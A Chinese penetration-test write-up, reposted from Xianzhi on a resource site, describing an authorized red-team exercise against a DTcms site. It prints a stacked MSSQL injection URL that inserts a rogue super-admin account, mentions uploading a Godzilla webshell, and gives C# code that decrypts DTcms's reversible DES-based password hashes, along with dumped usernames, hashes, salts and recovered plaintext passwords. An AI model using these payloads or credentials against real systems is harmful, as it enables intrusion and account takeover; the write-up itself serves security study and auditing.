记录一次攻防演练中的代码审计(突破)

在一次授权的攻防项目中,我和我的一个好兄弟在渗透过程中发现一个目标存在mssql注入,通过注入拿到了管理员的账号和密码
记录一次攻防演练中的代码审计(突破)
当时我和我的好兄弟高兴坏了,迫不及待的把拿到的数据进行解密(当时天真认为可以解密,马上getshell)由于是攻防演练,并且报告提交的越早分数就会越高,何况还是getshell
erui/E7B8D79CB1F8267E98411A1081B75FBD
admin/154A70BBAD1377B256671E16CAF430ED
lchh/262BA2BFC886B171B5488CA6E9F25BB8

记录一次攻防演练中的代码审计(突破)
结果发现根本解不出,后来发现原来是加盐MD5,想着先把盐值找到或许就能有一线突破,最终找到的盐值和账号对应如下
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84

当时我和我兄弟在这里卡了半天,甚至是去网上搜索加盐md5的破解,后面发现根本解不出来
第二天
我和兄弟那一晚上一夜未眠,想着各种法子去解密,网上各种办法,各种脚本都试了一遍,发现完全不行,突然一下有个念头一下子出来了,在上一次的攻防演练中,也是mssql注入,当时可以通过堆叠注入,自己插入一条数据,于是我们开始整理思路思路如下

思路一

通过堆叠注入插入一条数据,直接登录(但是要自己找到一条加盐Md5)搭建这个cms搭建起来,自己创建一个管理员账号,然后插入进去

思路二

找到对应的cms或者是网站源码,代码审计,试图找到加密流程或者是其他有用信息

尝试思路

通过mssql注入的报错信息可以判断出为dtcms,于是我迫不及待的去github搜罗了一番,找到了其源码,首先想到的搭建起来这个cms,由于对net环境的不熟悉,加上搭建后各种报错,(让我抑郁了很久)继续信息收集,发现源代码下面有个SQL文件,进去搜索找到一条加密的数据,并且前期信息收集到dtcms的默认密码是admin888于是开始行动全局搜索salt
记录一次攻防演练中的代码审计(突破)
INSERT [dbo] .[dt_manager]  ([id] , [role_id] , [role_type] , [user_name] , [password] , [salt] , [avatar] , [real_name] , [telephone] , [email] , [is_audit] , [is_lock] , [add_time] ) VALUES (1, 1, 1, N’admin’, N’87FA6AD6CBFDF3108E4DD6F47F5D04A4′, N’24V0XZ’, N”, N’超级管理员’, N’13800138000′, N’info@dtcms.net’, 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))
SET IDENTITY_INSERT [dbo] .[dt_manager]  OFF

插入payload如下
https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,’test’,’87FA6AD6CBFDF3108E4DD6F47F5D04A4′,’24V0XZ’,0);– +

插入的账号为test 密码是admin888

登录账号

记录一次攻防演练中的代码审计(突破)
登录成功发现,权限为超级管理员,然后getshell(在某篇文章看到)文件上传类型添加aspx,ashx,然后上传相应的哥斯拉马,直连即可
记录一次攻防演练中的代码审计(突破)
最后我和我兄弟成功将这个站点拿下但是内心感觉还是空空的,先提交报告吧
第三天
我和兄弟越想越不舒服,我们思路二还没试过呢,如果我们可以解密这个加密数据,是不是以后遇到类似的站点,假如不存在堆叠注入,岂不是不能插入数据,不行,必须得试一下,于是开始代码审计

.net基本知识

.ashx一般是网页文件。.cs文件一般是后台逻辑代码

目前已有的数据

erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84

代码审计

在DTcms.Web中找到login.aspx.cs。
通过调用manager类中的GetModel方法来判断是否登录成功
记录一次攻防演练中的代码审计(突破)
ps:这里BLL.manager()中BLL是一个命名空间。我们可以通过BLL这个名字在DTcms.BLL文件夹中找到manager.cs
记录一次攻防演练中的代码审计(突破)
接着在manager类中的GetModel方法中,发现在登录的时候会先从数据库中获得这个用户的盐值,然后根据输入的密码与盐值调用DESEncrypt.Encrypt(password, salt)进行加密。后来知道了这里DESEncrypt是一个类,Encrypt是一个静态函数,所以可以直接调用
记录一次攻防演练中的代码审计(突破)
接着我们审计DESEncrypt中的Encrypt方法。在文件夹中搜索DESEncrypt,最终在DTcms.Common中找到了DESEncrypt类。加解密流程逻辑代码不需要细看,只需要知道就是传入密文和盐值调用Decrypt函数即可得到明文。

源码如下

using System;
using System.Security.Cryptography;
using System.Text;namespace DTcms.Common
{
/// <summary>
/// DES加密/解密类。
/// </summary>
public class DESEncrypt
{

#region ========加密========

/// <summary>
/// 加密
/// </summary>
/// <param name=”Text”></param>
/// <returns></returns>
public static string Encrypt(string Text)
{
return Encrypt(Text, “DTcms”);
}
/// <summary>
/// 加密数据
/// </summary>
/// <param name=”Text”></param>
/// <param name=”sKey”></param>
/// <returns></returns>
public static string Encrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
byte[] inputByteArray;
inputByteArray = Encoding.Default.GetBytes(Text);
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
StringBuilder ret = new StringBuilder();
foreach (byte b in ms.ToArray())
{
ret.AppendFormat(“{0:X2}”, b);
}
return ret.ToString();
}

#endregion

#region ========解密========

/// <summary>
/// 解密
/// </summary>
/// <param name=”Text”></param>
/// <returns></returns>
public static string Decrypt(string Text)
{
return Decrypt(Text, “DTcms”);
}
/// <summary>
/// 解密数据
/// </summary>
/// <param name=”Text”></param>
/// <param name=”sKey”></param>
/// <returns></returns>
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[]  inputByteArray = new byte[len] ;
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x]  = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}

#endregion

}
}


接着我们抄下DESEncrypt类中的解密代码进行解密。注意这里得using System.Web,要引用System.Web.dll这个文件才能运行代码。代码段如下:

payload

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Text;
using System.Web;namespace ConsoleApp1
{
class Program
{

public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[]  inputByteArray = new byte[len] ;
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x]  = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}

static void Main(string[] args)
{
System.Console.WriteLine(Program.Decrypt(“E7B8D79CB1F8267E98411A1081B75FBD”, “24V0XZ”));
System.Console.WriteLine(Program.Decrypt(“154A70BBAD1377B256671E16CAF430ED”, “42V8XZ”));
System.Console.WriteLine(Program.Decrypt(“262BA2BFC886B171B5488CA6E9F25BB8”, “J6ZT84”));

}

}
}


最终得到明文
记录一次攻防演练中的代码审计(突破)
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009

总结
通过这次攻防再一次加深了代码审计的重要性,有时候就是一个突破点,还有就是和兄弟在审计中遇到的困难,一次次被突破,那种感觉真的很爽!!
文章来源:先知(Fright一Moch)原文地址:https://xz.aliyun.
收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝/QQ扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

1. 本站所有资源来源于用户上传和网络,均不允许转载,如有侵权请联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 如发现会员转载本站资源文章,本站有权封禁会员账号!
4. 不得使用于非法商业用途,商用请购买正版,不得违反国家法律。否则后果自负!
5. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
6. 如有链接无法下载、失效或广告,请联系管理员处理! 7. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!

易生阁资源网 技术分享 记录一次攻防演练中的代码审计(突破) https://www.yishengge.top/13761.html

常见问题
  • 本站所有源码、素材版权归原作者所有,新手源码提供的源码只能用于学习研究,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。
查看详情
  • 最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用谷歌浏览器。
查看详情

相关文章

记录一次攻防演练中的代码审计(突破)-海报

分享本文封面